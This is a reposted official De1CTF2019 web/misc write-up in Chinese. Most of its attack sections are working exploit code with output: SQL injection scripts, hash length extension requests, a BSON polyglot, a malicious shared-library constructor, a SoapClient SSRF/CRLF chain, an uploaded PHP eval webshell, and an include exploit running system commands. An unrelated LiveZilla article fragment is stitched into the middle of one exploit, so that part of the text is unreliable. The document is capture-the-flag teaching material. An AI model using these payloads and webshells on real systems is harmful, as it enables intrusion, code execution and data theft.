De1CTF2019 官方Writeup(Web/Misc) — De1ta | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

De1CTF2019 官方Writeup(Web/Misc) — De1ta

申博_安全防护 申博 95次浏览 未收录 0个评论

[TOC]

广告一波:
De1ta历久招Web/逆向/pwn/暗码学/硬件/取证/杂项/etc.选手,急招二进制和暗码选手,有意向的大佬请联络ZGUxdGFAcHJvdG9ubWFpbC5jb20=

source + exp + wp

https://github.com/De1ta-team/De1CTF2019

web

SSRF Me

预期解法:

哈希长度拓展进击+CVE-2019-9948(urllib)

题解:

代码很简朴,主假如有依据传入的action参数推断,有两种形式,一种是请求Param参数的地点,并把效果写入result.txt,另一种是读取result.txt的内容,两种体式格局都须要sign值校验.而且sign值是经由过程拼接参数哈希加密,所以可以运用哈希长度拓展进击.题目给出了scan形式的sign值.

  1. 猎取scan形式的sign值.
GET /geneSign?param=local-file:flag.txt HTTP/1.1
Host: 139.180.128.86



HTTP/1.1 200 OK
Server: nginx/1.15.8
Content-Length: 32
Connection: close

51796b52dd6e1108c89b7d5277d3ae0a
  1. 运用hashpump天生新的sign值.
$ hashpump
Input Signature: 51796b52dd6e1108c89b7d5277d3ae0a
Input Data: local-file:flag.txtscan
Input Key Length: 16
Input Data to Add: read
eafd6ccd634ec29886babc843f1d8b86                                                                                        
local-file:flag.txtscan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x008\x01\x00\x00\x00\x00\x00\x00read
  1. 把新天生的参数中\x替代成%,然后提交,即可猎取flag
GET /De1ta?param=local-file:flag.txt HTTP/1.1
Host: 139.180.128.86
Cookie:action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%008%01%00%00%00%00%00%00read;sign=eafd6ccd634ec29886babc843f1d8b86
Connection: close

HTTP/1.1 200 OK
Server: nginx/1.15.8
Content-Type: text/html; charset=utf-8
Content-Length: 65
Connection: close

{"code": 200, "data": "de1ctf{27782fcffbb7d00309a93bc49b74ca26}"}

由于出题时刻的大意,以致题目发生非预期,太菜了,Orz

9calc

Part 1

Same to v1 and v2.

Part 2

The second task is to bypass RegExp /^[0-9a-z\[\]\+\-\*\/ \t]+$/.

Nestjs is a Nodejs Web Framework which is very similar to Spring, and it’s written by TypeScript. However, it’s NOT Spring. TypeScript is a strongly-typed language, but it’s designed for transcompiles to JavaScript so all type definitions will be removed in runtime. We can just ignore expression: string type hinting and pass an object to expression. This time, object.toString() === '[object Object]'.

But we have no way to let object.toString() become a useful runnable code ─ if frontend and backends communicate by JSON, it’s true. I believe that everyone has used MongoDB. Nodejs can pass a JavaScript function to MongoDB, which is not defined in the JSON standard. So they introduce BSON as their data interchange format. This challenge also used BSON. Luckily, we can simulate our object to a BSON object in JavaScript.

Let’s read mongodb/js-bson‘s serializer, we can know it detects the object’s type by Object[_bsontype] instead of instanceof.

https://github.com/mongodb/js-bson/blob/master/lib/parser/serializer.js#L756

} else if (value['_bsontype'] === 'Binary') {
        index = serializeBinary(buffer, key, value, index, true);
      } else if (value['_bsontype'] === 'Symbol') {
        index = serializeSymbol(buffer, key, value, index, true);
      } else if (value['_bsontype'] === 'DBRef') {

After searching, I found that Symbol is the best type to emulate an object as a string. I checked most of the BSON deserializers and Symbol.toString() always returns the value of the symbol.

So let’s build a Symbol like this:

{"expression":{"value":"1+1","_bsontype":"Symbol"}, "isVip": true}

Part 3

Build 3 polyglots in 3 languages to get flag.

Exp

const axios = require('axios')
const url = 'http://45.77.242.16/calculate'
const symbols = '0123456789abcdefghijklmnopqrstuvwxyz{}_'.split('')

const payloads = [
    // Nodejs
    `1 + 0//5 or '''\n//?>\nrequire('fs').readFileSync('/flag','utf-8')[{index}] == '{symbol}' ? 1 : 2;/*<?php\nfunction open(){echo MongoDB\\BSON\\fromPHP(['ret' => '1']);exit;}?>*///'''`,

    // Python
    `(open('/flag').read()[{index}] == '{symbol}') + (str(1//5) == 0) or 2 or ''' #\n))//?>\nfunction open(){return {read:()=>'{flag}'}}function str(){return 0}/*<?php\nfunction open(){echo MongoDB\\BSON\\fromPHP(['ret' => '1']);exit;}?>*///'''`,

    // PHP
    `len('1') + 0//5 or '''\n//?>\n1;function len(){return 1}/*<?php\nfunction len($a){echo MongoDB\\BSON\\fromPHP(['ret' => file_get_contents('/flag')[{index}] == '{symbol}' ? "1" : "2"]);exit;}?>*///'''`,

]
const rets = []

const checkAnswer = (value) => axios.post(url, {
    expression: {
        value,
        _bsontype: "Symbol"
    },
    isVip: true
}).then(p => p.data.ret === '1').catch(e => {})

const fn = async () => {

    for (let j = 0; j < payloads.length; j++) {
        const payload = payloads[j]
        let flag = ''
        let index = 0
        while (true) {
            for (let i = 0; i < symbols.length; i++) {
                const ret = await checkAnswer(payload.replace(/\{flag\}/g, flag + symbols[i]).replace(/\{symbol\}/g, symbols[i]).replace(/\{index\}/g, index))
                if (ret) {
                    flag += symbols[i]
                    console.log(symbols[i])
                    i = 0
                    index++
                }
            }
            break
        }
        rets.push(flag)
        console.log(rets)
    }

}

fn().then(p => {
    console.log(rets.join(''))
})

Others

In this challenge, the BSON part was inspired by the 996Game of *CTF2019. The code of 996game is:

GameServer.loadPlayer = function(socket,id){
  GameServer.server.db.collection('players').findOne({_id: new ObjectId(id)},function(err,doc){

I built { toHexString: 'aaa', length: 0, id: {length: 12} } to bypass the validation of ObjectId because MongoDB Driver used old version js-bson. This maybe useful in MongoDB injection.

Giftbox

之前 1.0 版本 writeup:

impakho/ciscn2019_giftbox

本题是 2.0 版本。

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

题目页面相似一个网页沙盒。

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

在源代码 main.js 里找到一个提醒,供应了 otppython库totp 的参数,轻易写剧本。

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

同样是 main.js 里,可以找到用来天生 totpkey

出题人注:服务端时候与客户端时候相差大于 15秒 ,须要先盘算准确的 totp 才挪用 shell.php

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

检察 usage.md 可以看到敕令用法, login 存在注入,没有过滤,用户名和暗码长度限定 100

爆破暗码剧本:

import requests
import urllib
import string
import pyotp

url = 'http://127.0.0.1/shell.php?a=%s&totp=%s'
totp = pyotp.TOTP("GAXG24JTMZXGKZBU", digits=8, interval=5)
s = requests.session()

length = 0
left = 0x0
right = 0xff
while True:
    mid = int((right - left) / 2 + left)
    if mid == left:
        length = mid
        break
    username = "'/**/or/**/if(length((select/**/password/**/from/**/users/**/limit/**/1))>=%d,1,0)#" % mid
    password = "b"
    payload = 'login %s %s' % (username, password)
    payload = urllib.quote(payload)
    payload = url % (payload, totp.now())
    res = s.get(payload).text
    if 'incorrect' in res:
        left = mid
    else:
        right = mid
print(length)

real_password = ''
for i in range(1, length+1):
    left = 0x20
    right = 0x7e
    while True:
        mid = int((right - left) / 2 + left)
        if mid == left:
            real_password += chr(mid)
            break
        username = "'/**/or/**/if(ascii(substr((select/**/password/**/from/**/users/**/limit/**/1),%d,1))>=%d,1,0)#" % (i, mid)
        password = "b"
        payload = 'login %s %s' % (username, password)
        payload = urllib.quote(payload)
        payload = url % (payload, totp.now())
        res = s.get(payload).text
        if 'incorrect' in res:
            left = mid
        else:
            right = mid
    print(real_password)
    if len(real_password) < i:
        print('No.%d char not in range' % i)
        break

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

获得暗码:hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

暗码里提醒有个隐蔽敕令 sh0w_hiiintttt_23333 ,可以获得提醒 evallaunch 的时刻被挪用。

launch 前须要先用 targeting 设置,不过对输入有限定,这里可以 fuzz 一下,得知 code 限定 a-zA-Z0-9position 限定 a-zA-Z0-9})$({_+-,. ,而且二者的长度也有限定。

这里须要用 php可变变量 组织和拼接 payload

组织用来 getflagpayload ,绕过 open_basedir 的限定,写个剧本就可以 getflag

getflag 剧本:

import requests
import urllib
import string
import pyotp

url = 'http://127.0.0.1/shell.php?a=%s&totp=%s'
totp = pyotp.TOTP("GAXG24JTMZXGKZBU", digits=8, interval=5)
s = requests.session()

def login(password):
    username = 'admin'
    payload = 'login %s %s' % (username, password)
    payload = urllib.quote(payload)
    payload = url % (payload, totp.now())
    s.get(payload)

def destruct():
    payload = 'destruct'
    payload = urllib.quote(payload)
    payload = url % (payload, totp.now())
    s.get(payload)

def targeting(code, position):
    payload = 'targeting %s %s' % (code, position)
    payload = urllib.quote(payload)
    payload = url % (payload, totp.now())
    s.get(payload)

def launch():
    payload = 'launch'
    payload = urllib.quote(payload)
    payload = url % (payload, totp.now())
    return s.get(payload).text

login('hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}')
destruct()
targeting('a','chr')
targeting('b','{$a(46)}')
targeting('c','{$b}{$b}')
targeting('d','{$a(47)}')
targeting('e','js')
targeting('f','open_basedir')
targeting('g','chdir')
targeting('h','ini_set')
targeting('i','file_get_')
targeting('j','{$i}contents')
targeting('k','{$g($e)}')
targeting('l','{$h($f,$c)}')
targeting('m','{$g($c)}')
targeting('n','{$h($f,$d)}')
targeting('o','{$d}flag')
targeting('p','{$j($o)}')
targeting('q','printf')
targeting('r','{$q($p)}')
print(launch())

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

Flag:de1ctf{h3r3_y0uuur_g1fttt_0uT_0f_b0o0o0o0o0xx}

CloudMusic_rev

之前 1.0 版本 writeup:

impakho/ciscn2019_final_web1

本题是 2.0 版本。

先审计源代码,找到首页备注里有 #firmware 功用。

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

#firmware 功用须要登录,而且只要管理员有权限接见。

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

然后注册登录,在我的分享页面里看到一首英文歌,别的都是中文歌,而且这首英文歌在首页就已放入到播放器列内外。

所以看分享 #share 页面源代码,能看到 /media/share.php? 背面还用 btoa 也就是 base64编码,所以这里不难发明有个恣意文件读取。

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

尝试读取 ../index.php 页面的源代码,接见 http://127.0.0.1/media/share.php?Li4vaW5kZXgucGhw

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

限定了 .php 文件,依据提醒,可以运用 urlencode 编码绕过。

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

成功读取到 ../index.php 文件,那末别的文件也可以读取到。

然后就是读取网站目录下的文件,举行源代码审计。我们的目的就是拿到管理员暗码,然后接见 #firmware 功用。

那末我们须要找到源代码里,那里读取到管理员暗码,这些位置并不多。这里破绽点在 /include/upload.php 里,挪用到 /lib/parser.so 举行音频文件剖析,传入了管理员暗码。

那末我们须要用 IDA 反编译 /lib/parser.so 文件,破绽点在 read_title / read_artist / read_album 三个函数里的 strcpy 处,off by null,恰好可以掩盖到 mem_mframe_data 背面的 mframe_data 第一字节为 0x00,那末读取的时刻就可以读到 mem_mpasswd,也就是 管理员暗码

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

相对于 1.0 版本,这是一个毛病版本的 parser.so,由于它运用 strlen 猎取字符串长度,以致 unicode 编码的字段没法一般读取,影响到一些 mp3 的信息读取,间接上增添了做题的难度。

那末我们可以组织字符串长度为 0x70 的字段,然后上传组织好的 mp3 文件,就可以读取 管理员暗码

组织好的 mp3 文件见 exp 里。

我们运用 管理员暗码 登录管理员账号,接见 #firmware 功用。

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

泄漏这个页面的源代码文件,审计源代码,这里我们可以上传一个 .so 文件,然后猜文件名,然后可以加载这个 .so 文件。

那末我们可以运用 __attribute__ ((constructor)) 来实行我们的代码。

就像如许:

#include <stdio.h>
#include <string.h>

char _version[0x130];
char * version = &_version;

__attribute__ ((constructor)) void fun(){
    memset(version,0,0x130);
    FILE * fp=popen("/usr/bin/tac /flag", "r");
    if (fp==NULL) return;
    fread(version, 1, 0x100, fp);
    pclose(fp);
}

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

然则相对于 1.0 版本,这里没有回显。

所以我们可以向 /uploads/firmware/ 或许 /uploads/music/ 下写文件,然后去接见来读取到回显信息。

www-data 用户,对 /flag 文件没有读取权限。

我们须要找到一个具有 suid 权限的顺序去读取,/usr/bin/tac 具有 suid 权限,可以读取到 /flag 文件的内容。

所以我们可以用 /usr/bin/tac /flag > /var/www/html/uploads/firmware/xxxxx 去读取到 flag 文件。

Flag:de1ctf{W3b_ANND_PWNNN_C1ou9mus1c_revvvv11}

ShellShellShell

解题思绪:赛题分为两层,须要先拿到第一层的webshell,然后做好代办,渗入内网猎取第二层的webshell,末了在内网的主机中找到flag文件猎取flag。(以下给出的剧本文件当中ip地点须要举行对应的修正)

第一层猎取webshell主要经由过程以下的步骤:
1.可应用swp源码泄漏,猎取一切的源码文件。
2.应用insert sql注入拿到管理员的暗码md5值,然后在md5网站上解密获得暗码明文。
3.应用反序列化破绽挪用内置类SoapClient触发SSRF破绽,再连系CRLF破绽,完成admin登录,猎取admin登录后的session值。
4.登录admin成功以后,会发明有一个很简朴文件上传功用,上传木马即可getshell。

猎取泄漏的swp文件的剧本GetSwp.py

#coding=utf-8
# import requests
import urllib
import os
os.system('mkdir source')
os.system('mkdir source/views')
file_list=['.index.php.swp','.config.php.swp','.user.php.swp','user.php.bak','views/.delete.swp','views/.index.swp','views/.login.swp','views/.logout.swp','views/.profile.swp','views/.publish.swp','views/.register.swp']
part_url='http://45.76.187.90:11027/'
for i in file_list:
    url=part_url+i
    print 'download %s '% url
    os.system('curl '+url+'>source/'+i)

sql注入点剖析

先在config.php看到了全局过滤:

function addslashes_deep($value)
{
    if (empty($value))
    {
        return $value;
    }
    else
    {
        return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
    }
}
function addsla_all()
{
    if (!get_magic_quotes_gpc())
    {
        if (!empty($_GET))
        {
            $_GET  = addslashes_deep($_GET);
        }
        if (!empty($_POST))
        {
            $_POST = addslashes_deep($_POST);
        }
        $_COOKIE   = addslashes_deep($_COOKIE);
        $_REQUEST  = addslashes_deep($_REQUEST);
    }
}
addsla_all();

如许过滤以后,简朴的注入就不存在了。
user.php中看到insert函数,代码以下:

private function get_column($columns){
        if(is_array($columns))
            $column = ' `'.implode('`,`',$columns).'` ';
        else
            $column = ' `'.$columns.'` ';
        return $column;
    }    
public function insert($columns,$table,$values){
        $column = $this->get_column($columns);
        $value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
        $nid =
        $sql = 'insert into '.$table.'('.$column.') values '.$value;
        $result = $this->conn->query($sql);
        return $result;
    }

看对$value的操纵,先将$value数组的每一个值用反引号引起来,然后再用逗号连接起来,变成如许的字符串:

`$value[0]`,`$value[1]`,`$value[1]`

然后再实行

$value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';

preg_replace的企图是把反引号的单引号举行替代(中心操纵是假如一对反引号中心的内容不存在逗号和反引号,就把反引号变成单引号,所以$value就变成了)

('$value[0]','$value[1]','$value[1]')

然则假如$value元素自身带有反引号,就会破坏掉拼接的构造,在做反引号变成单引号的时刻形成题目,比如说:

斟酌$value为 : array("admin`,`1`)#","password")
经由处置惩罚后,就变成了 : ('admin','1')#`,'password' )
相当于闭合了单引号,形成注入。

看到insert函数在publish函数中被挪用,而且存在$_POST['signature']变量可控,注入点就在这里:

@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));

本质是把$value中的反引号替代为单引号时,假如$value中本来就带有反引号,就有能够以致注入(addslashes函数不会对反引号过滤)

sql_exp.py

应用sql注入破绽注入出管理员账号暗码的剧本。

#coding=utf-8
import re
import string
import random
import requests
import subprocess
import hashlib
from itertools import product

_target='http://20.20.20.128:11027/index.php?action='

def get_code_dict():
    c = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|'
    captchas = [''.join(i) for i in product(c, repeat=3)]

    print '[+] Genering {} captchas...'.format(len(captchas))
    with open('captchas.txt', 'w') as f:
        for k in captchas:
            f.write(hashlib.md5(k).hexdigest()+' --> '+k+'\n')

def get_creds():
    username = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
    password = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
    return username, password

def solve_code(html):
    code = re.search(r'Code\(substr\(md5\(\?\), 0, 5\) === ([0-9a-f]{5})\)', html).group(1)
    solution = subprocess.check_output(['grep', '^'+code, 'captchas.txt']).split()[2]
    return solution

def register(username, password):
    resp = sess.get(_target+'register')
    code = solve_code(resp.text)
    sess.post(_target+'register', data={'username':username,'password':password,'code':code})
    return True

def login(username, password):
    resp = sess.get(_target+'login')
    code = solve_code(resp.text)
    sess.post(_target+'login', data={'username':username,'password':password,'code':code})
    return True

def publish(sig, mood):
    return sess.post(_target+'publish', data={'signature':sig,'mood':mood})

get_code_dict()

sess = requests.Session()
username, password = get_creds()
print '[+] register({}, {})'.format(username, password)
register(username, password)
print '[+] login({}, {})'.format(username, password)
login(username, password)
print '[+] user session => ' + sess.cookies.get_dict()['PHPSESSID']

for i in range(1,33): # we know password is 32 chars (md5)
    mood = '(select concat(`O:4:\"Mood\":3:{{s:4:\"mood\";i:`,ord(substr(password,{},1)),`;s:2:\"ip\";s:14:\"80.212.199.161\";s:4:\"date\";i:1520664478;}}`) from ctf_users where is_admin=1 limit 1)'.format(i)
    payload = 'a`, {}); -- -'.format(mood)
    resp = publish(payload, '0')

resp = sess.get(_target+'index')
moods = re.findall(r'img/([0-9]+)\.gif', resp.text)[::-1] # last publish will be read first in the html
admin_hash = ''.join(map(lambda k: chr(int(k)), moods))

print '[+] admin hash => ' + admin_hash
root@kali64:~# python sql_exp.py 
[+] Genering 778688 captchas...
[+] register(cvnyshokxj, sjt0ayo3c1)
[+] login(cvnyshokxj, sjt0ayo3c1)
[+] user session => 7fublips3949q8vcs611fcdha2
[+] admin hash => c991707fdf339958eded91331fb11ba0

暗码明文为jaivypassword

getshell_1

3.应用反序列化破绽挪用内置类SoapClient触发SSRF破绽,再连系CRLF破绽,完成admin登录,猎取admin登录后的session值。
4.登录admin成功以后,会发明有一个很简朴文件上传功用,上传木马即可getshell。

道理:要触发这个反序列化破绽+SSRF+CRLF破绽登录admin,须要先应用/index.php?action=publish的sql注入破绽把序列化数据插进去数据库中,然后再挪用/index.php?action=index,这时候会触发代码$data = $C->showmess();,进而实行代码

$mood = unserialize($row[2]);
    $country = $mood->getcountry();

这时候就会触发反序列化破绽–>SSRF破绽–>CLRF破绽–>登录admin。

关于第一层解题更细致的剖析可以拜见@wupco师傅的这篇文章https://xz.aliyun.com/t/2148

ssrf_crlf_getshell_exp.py

import re
import sys
import string
import random
import requests
import subprocess
from itertools import product
import hashlib
from itertools import product

_target = 'http://20.20.20.128:11027/'
_action = _target + 'index.php?action='

def get_code_dict():
    c = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|'
    captchas = [''.join(i) for i in product(c, repeat=3)]

    print '[+] Genering {} captchas...'.format(len(captchas))
    with open('captchas.txt', 'w') as f:
        for k in captchas:
            f.write(hashlib.md5(k).hexdigest()+' --> '+k+'\n')


def get_creds():
    username = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
    password = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
    return username, password

#code
def solve_code(html):
    code = re.search(r'Code\(substr\(md5\(\?\), 0, 5\) === ([0-9a-f]{5})\)', html).group(1)
    solution = subprocess.check_output(['grep', '^'+code, 'captchas.txt']).split()[2]
    return solution

def register(username, password):
    resp = sess.get(_action+'register')
    code = solve_code(resp.text)
    sess.post(_action+'register', data={'username':username,'password':password,'code':code})
    return True

def login(username, password):
    resp = sess.get(_action+'login')
    code = solve_code(resp.text)
    sess.post(_action+'login', data={'username':username,'password':password,'code':code})
    return True

def publish(sig, mood):
    return sess.post(_action+'publish', data={'signature':sig,'mood':mood})#, proxies={'http':'127.0.0.1:8080'})

def get_prc_now():
    # date_default_timezone_set("PRC") is not important
    return subprocess.check_output(['php', '-r', 'date_default_timezone_set("PRC"); echo time();'])

def get_admin_session():
    sess = requests.Session()
    resp = sess.get(_action+'login')
    code = solve_code(resp.text)
    return sess.cookies.get_dict()['PHPSESSID'], code

get_code_dict()

print '[+] creating user session to trigger ssrf'
sess = requests.Session()

username, password = get_creds()

print '[+] register({}, {})'.format(username, password)
register(username, password)

print '[+] login({}, {})'.format(username, password)
login(username, password)

print '[+] user session => ' + sess.cookies.get_dict()['PHPSESSID']

print '[+] getting fresh session to be authenticated as admin'
phpsessid, code = get_admin_session()

ssrf = 'http://127.0.0.1/\x0d\x0aContent-Length:0\x0d\x0a\x0d\x0a\x0d\x0aPOST /index.php?action=login HTTP/1.1\x0d\x0aHost: 127.0.0.1\x0d\x0aCookie: PHPSESSID={}\x0d\x0aContent-Type: application/x-www-form-urlencoded\x0d\x0aContent-Length: 200\x0d\x0a\x0d\x0ausername=admin&password=jaivypassword&code={}&\x0d\x0a\x0d\x0aPOST /foo\x0d\x0a'.format(phpsessid, code)
mood = 'O:10:\"SoapClient\":4:{{s:3:\"uri\";s:{}:\"{}\";s:8:\"location\";s:39:\"http://127.0.0.1/index.php?action=login\";s:15:\"_stream_context\";i:0;s:13:\"_soap_version\";i:1;}}'.format(len(ssrf), ssrf)
mood = '0x'+''.join(map(lambda k: hex(ord(k))[2:].rjust(2, '0'), mood))

payload = 'a`, {}); -- -'.format(mood)

print '[+] final sqli/ssrf payload: ' + payload

print '[+] injecting payload through sqli'
resp = publish(payload, '0')

print '[+] triggering object deserialization -> ssrf'
sess.get(_action+'index')#, proxies={'http':'127.0.0.1:8080'})

print '[+] admin session => ' + phpsessid

# switching to admin session
sess = requests.Session()
sess.cookies = requests.utils.cookiejar_from_dict({'PHPSESSID': phpsessid})

# resp = sess.post(_action+'publish')
# print resp.text

print '[+] uploading stager'
shell = {'pic': ('jaivy.php', '<?php @eval($_POST[jaivy]);?>', 'image/jpeg')}
resp = sess.post(_action+'publish', files=shell)
# print resp.text
webshell_url=_target+'upload/jaivy.php'
print '[+] shell => '+webshell_url+'\n'

post_data={"jaivy":"system('ls -al');"}
resp = sess.post(url=webshell_url,data=post_data)
print resp.text
root@kali64:~# python ssrf_crlf_getshell_exp.py 
[+] Genering 778688 captchas...
[+] creating user session to trigger ssrf
[+] register(a6skt6cjpr, rw2dz23fjv)
[+] login(a6skt6cjpr, rw2dz23fjv)
[+] user session => b4sd5q2jtb0tlh4lmqoj4mcb92
[+] getting fresh session to be authenticated as admin
[+] final sqli/ssrf payload: a`, 0x4f3a31303a22536f6170436c69656e74223a343a7b733a333a22757269223b733a3237373a22687474703a2f2f3132372e302e302e312f0d0a436f6e74656e742d4c656e6774683a300d0a0d0a0d0a504f5354202f696e6465782e7068703f616374696f6e3d6c6f67696e20485454502f312e310d0a486f73743a203132372e302e302e310d0a436f6f6b69653a205048505345535349443d706f633672616771686d6e686933636e6e737136636a666332340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e74656e742d4c656e6774683a203230300d0a0d0a757365726e616d653d61646d696e2670617373776f72643d6a6169767970617373776f726426636f64653d4a3165260d0a0d0a504f5354202f666f6f0d0a223b733a383a226c6f636174696f6e223b733a33393a22687474703a2f2f3132372e302e302e312f696e6465782e7068703f616374696f6e3d6c6f67696e223b733a31353a225f73747265616d5f636f6e74657874223b693a303b733a31333a225f736f61705f76657273696f6e223b693a313b7d); -- -
[+] injecting payload through sqli
[+] triggering object deserialization -> ssrf
[+] admin session => poc6ragqhmnhi3cnnsq6cjfc24
[+] uploading stager
[+] shell => http://20.20.20.128:11027/upload/jaivy.php

total 12
drwxrwxrwx 1 root     root     4096 Aug  5 18:07 .
drwxr-xr-x 1 root     root     4096 Aug  5 18:03 ..
-rw-r--r-- 1 www-data www-data   29 Aug  5 18:07 jaivy.php

root@kali64:~#

这里组织反序列化+SSRF+CRLF的时刻注重几个点

  • Content-Type 要设置成 application/x-www-form-urlencoded
  • 验证码
  • PHPSESSID
  • 账号暗码
  • Content-Length。警惕“截断”和“多取”题目以致登录失利。发起把Content-Length设置得大一些,然后再code参数背面加个与标记离隔即可。(与标记代表变量的分开)
    \x0ausername=admin&password=jaivypassword&code={}&\x0d\x0a\x0d\x0aPOST /foo\x0d\x0a

别的再放出一个组织payload的php剧本

<?php  
$location = "http://127.0.0.1/index.php?action=login";
$uri = "http://127.0.0.1/";
$event = new SoapClient(null,array('user_agent'=>"test\r\nCookie: PHPSESSID=gv1jimuh2ptjp1j6o2apvqp0h2\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 100\r\n\r\nusername=admin&password=jaivypassword&code=400125&xxx=",'location'=>$location,'uri'=>$uri));
$c = (serialize($event));
echo urlencode($c);

getshell_2

进入内网以后经由过程做代办扫描即可发明还存在一个内网ip 172.18.0.2,接见它可以发明以下代码

<?php
    $sandbox = '/var/sandbox/' . md5("prefix" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);

    if($_FILES['file']['name'])
    {
        $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
        if (!is_array($filename)) 
        {
            $filename = explode('.', $filename);
        }
        $ext = end($filename);
        if($ext==$filename[count($filename) - 1])
        {
            die("try again!!!");
        }
        $new_name = (string)rand(100,999).".".$ext;
        move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
        $_ = $_POST['hello'];
        if(@substr(file($_)[0],0,6)==='@<?php')
        {
            if(strpos($_,$new_name)===false)
            {
                include($_);
            }
            else
            {
                echo "you can do it!";
            }
        }
        unlink($new_name);
    }
    else
    {
        highlight_file(__FILE__);
    }

此处getshell,对应的exp以下:

LiveZilla实时聊天应用7大漏洞解析

在2019年6月,Fortinet的FortiGuard实验室发现了LiveZilla的Live Chat中的7个漏洞,并进行了相关报告撰写。LiveZilla是一家拥有众多财富500强企业和顶尖大学用户的软件公司,拥有超过15,000名用户。 我们可以在8.0.1.0及更低版本中找到这

import requests
import hashlib

target = "http://172.18.0.2/"
ip = "172.18.0.3"
path = "/var/sandbox/%s/"%hashlib.md5(("prefix"+ip).encode()).hexdigest()

#proxies={'http':'http://127.0.0.1:8080'}
files = {"file":("x",open("1.txt","rb")),"file[1]":(None,'a'),"file[0]":(None,'b'),"hello":(None,"php://filter/string.strip_tags/resource=/etc/passwd")}

try:
    for i in range(10):
        requests.post(target,files=files,)
except Exception as e:
    print(e)

for i in range(0,1000):
    files = {"file":("x",open("1.txt","rb")),"file[1]":(None,'a'),"file[0]":(None,'b'),"s":(None,"system('cat /etc/flag*');"),"hello":(None,path+str(i)+'.b')}
    resp = requests.post(target,files=files,).text
    if len(resp)>0:
        print(resp,i)
        break

至于怎样找到flag文件,可以直接运用以下的find敕令

find / -name "*flag*"

misc

Mine Sweeping

剖析

Elements.cs

class Elements: MonoBehaviour
{
    void Awake()
    {   
        int x = (int)transform.position.x;
        int y = (int)transform.position.y;
        //依据全局的数组设置该格子是雷照样旷地
        bIsMine = (((MayWorldBeAtPeace[x, y] ^ AreYouFerryMen[x, y]) - 233) / 2333) == 1 ? true : false;
        //依据格子的position,将物体实例绑定到网格中
        Grids._instance.eleGrids[(int)transform.position.x, (int)transform.position.y] = this;
        //网格中对应格子数值设置
        Grids._instance.DevilsInHeaven[(int)transform.position.x, (int)transform.position.y] = (bIsMine == true ? 1 : 0);
        //隐蔽reset按钮
        resetButton = GameObject.FindGameObjectWithTag("resetButton");
        if (resetButton)
            resetButton.SetActive(false);
    }

    // Start is called before the first frame update
    void Start()
    {
        //初始化时殽杂舆图
        Grids._instance.ChangeMap();
        //测试用
        //DawnsLight();
    }
    ...
    void OnMouseUpAsButton()
    {
        //鼠标点击对应格子触发
        if (!Grids._instance.bGameEnd && !bIsOpen)
        {   //未掀开
            //设置掀开
            bIsOpen = true;
            int nX = (int)transform.position.x;
            int nY = (int)transform.position.y;
            if (bIsMine)
            {
                //显现雷
                SafeAndThunder(0);
                Grids._instance.bGameEnd = true;
                //游戏失利
                Grids._instance.GameLose();
                print("game over: lose");
            }
            else
            {
                //翻到的不是雷,显现四周雷的数目+掀开相邻的四周无雷的格子
                int adjcentNum = Grids._instance.CountAdjcentNum(nX, nY);
                SafeAndThunder(adjcentNum);
                Grids._instance.Flush(nX, nY, new bool[Grids.w, Grids.h]);
            }
            if (Grids._instance.GameWin())
            {
                //游戏成功
                Grids._instance.bGameEnd = true;
                print("game over: win");
            }
        }
    }
}

Elements.cs是挂在每一个格子身上的剧本,Awake中肯定该格子是雷照样旷地,Start中将舆图中牢固的六个摇摆位随机化,OnMouseUpAsButton检测当前格子是不是是雷,并作出响应处置惩罚

Grid.cs

public bool GameWin()
    {
        foreach (Elements ele in eleGrids)
        {
            if (!ele.bIsOpen && !ele.bIsMine)
            {   //存在没掀开且不是雷的
                return false;
            }
        }
        foreach (Elements ele in eleGrids)
        {   //加载末了的图片
            ele.DawnsLight();
        }
        return true;
    }

    public void ChangeMap()
    {
        System.Random ran = new System.Random((int)System.DateTime.Now.Millisecond);
        const int SwingNum = 6;
        const int Start = 0;
        const int End = 100;
        int[] SwingPosX = new int[SwingNum]{ 9, 15, 21, 10, 18, 12, };
